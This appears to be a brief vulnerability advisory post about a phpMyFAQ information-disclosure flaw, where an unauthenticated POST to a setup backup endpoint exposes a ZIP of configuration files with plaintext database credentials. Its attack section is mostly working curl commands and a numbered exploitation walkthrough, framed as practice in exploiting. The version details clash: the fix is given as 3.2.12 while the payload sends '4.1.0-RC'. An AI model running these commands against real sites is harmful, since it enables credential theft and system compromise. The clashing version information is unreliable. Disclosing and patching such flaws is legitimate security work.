Listen to this Post
The vulnerability exploits a missing authentication check in the `SetupController.php` file’s `backup()` method. A default `.htaccess` rewrite rule makes the `/api/setup/backup` endpoint publicly accessible. When an unauthenticated HTTP POST request is sent to this endpoint, the `backup()` method calls `createConfigBackup()` without verifying user credentials or a valid API token. This function packages critical configuration files, including `database.php` with plaintext credentials, into a ZIP archive. The server saves this ZIP in the web-accessible `content/core/config/` directory and returns its direct URL in the JSON response. An attacker can then directly retrieve this file, leading to full credential and configuration disclosure.
Platform: phpMyFAQ
Version: < 3.2.12
Vulnerability: Information Disclosure
Severity: Critical
date: 2024
Prediction: 2024-04-26
What Undercode Say:
curl -i -X POST "http://target/api/setup/backup" -H "Content-Type: text/plain" --data "4.1.0-RC" curl -i "http://target/content/core/config/phpmyfaq-config-backup.zip" unzip -l phpmyfaq-config-backup.zip
`.htaccess` rule:
`RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`
How Exploit:
1. POST to `/api/setup/backup`.
2. Extract `backupFile` URL.
3. Download the ZIP.
4. Extract database credentials.
Protection from this CVE
Update to v3.2.12.
Impact:
Database credential leak.
Full system compromise.
Data exfiltration possible.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
